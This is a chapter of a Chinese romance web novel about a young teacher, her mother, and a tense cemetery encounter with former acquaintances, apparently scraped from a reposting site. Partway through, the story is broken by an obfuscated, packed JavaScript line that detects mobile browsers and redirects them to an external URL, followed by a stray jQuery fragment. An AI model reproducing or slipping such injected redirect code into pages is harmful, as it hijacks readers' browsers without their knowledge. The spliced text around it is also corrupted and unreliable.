《晚星水汽》
予春半捧雪
2025年2月24日
晋江文学城首发
·
夏秋交替的一个下午。
葱绿的树枝穿透进敞开的窗户,将白色的墙壁也切开一道光影,洋洋洒洒的辉光落上去,如同油画世界中的景色。
“燕老师。”
被人叫住的女人正想伸手接住窗外飘落进来的叶子,也跟着回眸来看,露出一张眉眼弯弯自带笑意的脸。
日照的光似波光粼粼的水纹,从窗户外的枝叶阴影投下来,在女人柔软的脸上打上一层薄透的光,像纱。
女人看见对方的脸,眼中的笑意减了两分。
“章老师,怎么了?”
“我下午要去接小孩,最后一节自习课你能不能帮我代一下!辛苦了啊燕老师!”
“下次请你吃饭!”
嘴上说着的是“能不能”,最后却没有给燕雪融反对的机会。
章老师说话之后笑皱着一张脸就走了,走廊处大老远还能听见她跟主任打招呼,其他老师早就已经在自己工位那低下头装作什么都没听见。
燕雪融默默把刚刚接过的树叶拿回自己的教师办公室上当书签夹好,有位年轻老师捧着自己教具过来说话,开口前看了一眼外面。
“燕老师,你别管她呀!你老这么代课哪有时间休息?那个章老师,之前为了不肯上早读和最后一节课跑去教务处闹,闹不成就对着人家新来的教务文员大骂一通,把人小姑娘骂哭了呢!”
“没办法啦,她是科组长嘛。”
燕雪融还算想得开,眨眨眼睛,“没事,等下我记得去教务处登记代课,就当赚外快了。”
同事叹了口气,转身去班上准备上课,刚好在走廊转角的地方听见章老师在和自己丈夫打电话。
“没事,我时间有呢,课都丢给那个年轻的燕老师来上就好了。”
“反正我看这么多年轻教师,就只有她一个,从来没在办公室里看过考编的书,其他年轻老师都憋着劲儿去考编呢,该不会是家里有谁进去了——考不了吧?”
“考不了正好,咱家宝贝最近要多加一个补习班了,最后一节自习我只要没空就能丢给她代课。”
“这种年轻教师不敢拒绝,最好用了。”
……
春天的嫩芽已经抽出完整枝叶,逐渐浓郁的绿意也开始宣告初夏来临。
再过段时间便是清明。
夕阳和月色混为一体的粉紫色天空下,燕雪融从教学大楼中走出下班,她还记得昨天晚上闺蜜的要求找到两人聚餐的集合地。
“毕业这么久,怎么就你混得最差呀!”
燕雪融笑得有些无奈:“哪里算差了,京城的私立也很难考的好不好!”
虽然说是这么说,可当初在大学,燕雪融不仅是他们班里成绩最好拿奖学金的那个,还曾经……
“对了,今天有个新消息,不知道该不该告诉你。”
燕雪融和好友吃了一顿火锅,沿路回家是闺蜜送的,临走之前,她支支吾吾地开口:“之前咱们不是收到大学校庆的邀请书吗?那个……你,去吗?”
“那得看假期呀。”燕雪融觉得好友的神情有些奇怪。
“我觉得……你不去,也可以的……”
“你还记得衡旭吗?”
“他回国了。”
路面都安静了下来。
仿佛针落在地上都听得清晰。
燕雪融睫毛动了动,面色不改:“所以呢?”
“啊,你不介意啊?”
她失笑:“这么多年了,他那种大忙人怎么可能记得我。”
“也是……”
可好友心中还是打着一个问号:
当初那么浓烈的感情,真的能说忘记,就忘记了吗?
燕雪融同样没有多说,只是再次安慰了一下闺蜜,让她放心离开。
可轮到她走在大街上,看着眼前街边还没长得茂盛的绿植嫩芽,总觉得有些心烦意燥。
干脆多在路边简单散散心再回出租房。
刚没走多久,手机铃声响起。
她低头一看来电人,脸上顿时露出了笑容,街边还没绽放的花似乎都在那张笑脸上了。
“妈妈?”
“你这孩子怎么又寄钱呢?”
手机还没贴紧耳朵,妈妈的大嗓音已经从电话里传了出来。
妈妈这辈子都生活在农村当中,家务采买都端着一副不能让自己吃亏的架势,也练就了一身洪亮的嗓子。
燕雪融都没能插话,妈妈已经絮絮叨叨讲起:“多少次了,妈妈有钱呢,上班的工资都还有,现在天气也要开始转热了,你们那上班要穿得光鲜一些,不要让人觉得埋汰,多给自己添几件衣服也免得早晚凉着了……”
“现在很多薄的衣服都没有咱以前好使!偷工减料的恁不耐穿!”
燕雪融软软地和亲人撒娇。
“最近加班得来的奖金啦,我帮几个老师接了点自习代课钱就更多了呢!给妈妈买衣服穿的~”
明明长期练习考出来的一甲普通话,到了妈妈身边,都只剩下小孩子找母亲贴贴的软糯清甜感。
“如果家里什么都够了,就当帮我存钱了呗?”
“就你姑娘过得精致,还知道加班拿别的奖金了!”李秀在电话里燥了自家姑娘一声,下一秒语气却又苦口婆心,“钱不够可千万要和妈妈说啊,要是京城压力太大,咱干脆就去别的地儿……”
“我过得很好啦妈妈,以后我多攒攒说不定能拿公积金买个小公寓和您一起住呢!上次叫您拿着钱去旅游,怎么不去呢?”
李秀害了一声:“这不是快夏天了,家里两块田总不能不管吧……”
电话那头的声音忽而叹了口气。
“对了,当初资助你读书的那个好心人……也要记得汇钱还给人家。”
燕雪融温软的笑意忽然停滞了一瞬。
李秀的声音带着一丝愧疚:“虽说咱们最后给人留下了不太好的印象,可当初人家也是实打实帮助过我们的。”
“我们还是要记得人家的好。”
燕雪融脚步停了下来,春天昼夜温差大,此时太阳西下,风倒是有些冷了。
她垂着眸子看着脚尖,嘴边应了一声。
“好。”
当初的事情虽然有误会,但毕竟被资助的人是她。
资助人和被资助方——天然的地位差别。
“今年清明我也把你姐姐赶出去外面了,清明扫墓妈妈自己去山上就行!你们姐妹俩都别回来啊,妈知道你们不喜欢。”
燕雪融心又软了一瞬:“谢谢妈妈~”
日落的夜色越来越深。
燕雪融拖着身体回出租屋,打开门之前她默默给自己手机打开了摄像头和音频录制,推开门的瞬间,只有客厅的灯光还亮着,但舍友房间似乎还黑着灯。
她在心里松了一口气。
却也不敢赌,飞快走进自己房间里关好门,确定听不见周围有任何声音,这才相信舍友真的不在屋子里,点开手机划掉每天都在用各种提示控诉内存不足的通知,将方才的录屏文件都删除干净,一头倒在自己的床上。
一天就这么又要过去了。
原以为天气会逐渐热烈。
没想到清明这几天还是迎来了绵绵细雨,软雨挂着风钻进衣袖里能刺得人一激灵。
燕雪融穿着外套出门。
墓园旁边的树枝随着风摇摆,像是刚好把风都送进时暖夏的领子里,她下意识地缩了缩,便听见旁边男人适时开口:“冷吗?”
燕雪融抢在男人准备脱衣服的动作之前摆了摆手说不用,尽量保持着避嫌的距离。
一举一动,安全,写满了距离感。
她抬头看了一眼墓园上方的天空,天气不算好,春末的细雨总是看起来软的,也带着同样柔软的冷,却让燕雪融觉得比那夏天里倾盆大雨的呼啸更绵长,扎进心里还能再搅动两番。
“学长,您……”
“说过多少次了,”男人打断,“既然都说我是你的学长,那又何必用敬称?”
燕雪融一噎,听话改口:“学长。”
“嗯,谢谢你愿意过来帮忙。”
“你姑妈家是我的资助人,于情于理我都会来帮忙的。”
“……”对方沉默了一瞬,“好,谢谢。”
这块墓地是公司私人的,承接各项业务也包括清明节的扫墓。燕雪融只是一个私立学校没有编制的年轻语文老师,还时不时要帮人代课,清明假期更是难请假,今天是挤着节假日过来的,周围都是一起来扫墓的其他人。
却只有他们这块墓地看起来格外沉默。
“当年的事……”
男人的声音带着苦涩的沙哑。“我有责任。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15425427|169141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这件事已经掰扯了快六年,燕雪融自己都觉得累,更何况今天本来就是为了还人情过来帮忙,更觉得累了。
如果燕雪融有意观察的话,会发现今天墓园的客流量其实比往常更少一点,场地显得更加空旷。
今日主要殡仪都清场给了来包场的唯一一家贵客,唯有外场公共墓地,由贵客嘱咐不必驱赶。
死者是一名寿终正寝的老人,从周围整齐有序的长条黑色名车数量来看都知道参加葬礼的宾客已然非富即贵。更别说还有几个客人,细看的时候发现都是电视上见过的大人物。
不远处,其中一辆黑色豪车开着门等候主人的归来,一名西装男人坐进去后便像是放松自我,在后车座上扯开身上的漆黑领带,如鹰的双眸半垂着漫不经心地半倚在旁边。
视线正好落在男人左手手腕上的一枚陈旧手表。
手表的做工看起来非常一般,和这辆名车与男人的气质都有点格格不入,可偏偏男人长着极好的一张脸,连带着不值钱的手表扣在手腕上,都给手表升了值。
“老板,后面的仪式我们不参加了吗?”
“不了。”
言简意赅的回复,男人的声音如黑玉碰撞,驾驶位上的人瞬间明白了——该离开回公司了。
车子逐渐从公共停车场行驶向门口的方向。
公共墓园的人也开始散得差不多了,从车子的方向来看,不远处就能看见燕雪融和学长一起从扫墓的出口走出来。
“我送你回去吧?”
燕雪融笑着挥挥手婉拒:“地铁站很近,我扫一辆共享自行车就好了。”
她有点不想和学长过多牵扯,干脆挑明了,坦荡地开口:“你妈妈知道我们还有联系的话,可能会不高兴的。”
对方错愕。
动作也跟着停下来。
半晌,似是妥协般开口:“那至少送你去地铁口,可以吗?”
“……好。”
燕雪融明明知道的,但看着对方的神情,还是无法狠下心再拒绝第二次。
两人并肩走向停车场附近,没人看见不远处正打开车窗的车,阴霾中藏着一张看不见的脸,从里面虚虚地透出烟雾来,像是一个来这里躲着抽烟的,再正常不过的普通客人。
“老板,那个是……”
司机定睛一看,“那是俞家的俞文默吧?”
车内的男人只是沉沉看着那一幕,没开口。
“之前说俞家准备订婚,就是旁边那个女孩吗?看着也是俊男美女应该还挺般配的……老板?”
司机侃侃而谈,忽然从后视镜上看见自己老板的眼神。
盯着眼前不知道是谁,但那个神情分明就像是看见故人。
“老板,你认识啊?”
风似乎更冷了。
像细密的小针扎在皮肉上,将痛感拉得很长。
男人似乎听到了一句笑话,垂眸,鼻息中哼出一声自嘲的笑来,却不似高兴。
窗外透进来的光,不偏不倚地露出眼尾旁的泪痣,像是晕染过的墨点,朦朦胧胧的。
“不认识。”
司机倒也实诚,不认识那就走呗。
结果正准备开车,却见俞文默和那个女孩忽然从并肩到距离靠近。
似乎是女孩接到了一通什么电话,司机还能看见女孩捂着自己的肚子,另一只手捂着嘴唇,颤抖着肩膀蹲在原地。
看着很想吐的样子。
旁边的男人仿佛受到惊讶,想伸手给对方顺气却被拨开手。
却在此时。
“你说——”
司机忽然听见背后,幽幽传来了一声:“那像不像是怀孕了?”
“怀孕?”
司机顺着看,感慨了一句:“哎呀呀,有点像,这是未婚夫妻吵架了吧?那妹子又捂着嘴想吐又摸着肚子的,这俩该不会是要奉子成婚吧?”
“咋了,老板?”
“……算了,没什么。”
男人直视前方,不远处的女人一个人离开了,看样子像是找洗手间的位置。
“走吧。”
车还没开一会儿,司机又忽然听见老板如自言自语般开口:
“她确实很狠心。”
声音很轻,也不知道在说什么。
司机秉持着打工人少说多做的原则,装作不知道。
下一秒,老板的声音却抬高了。
“回头。”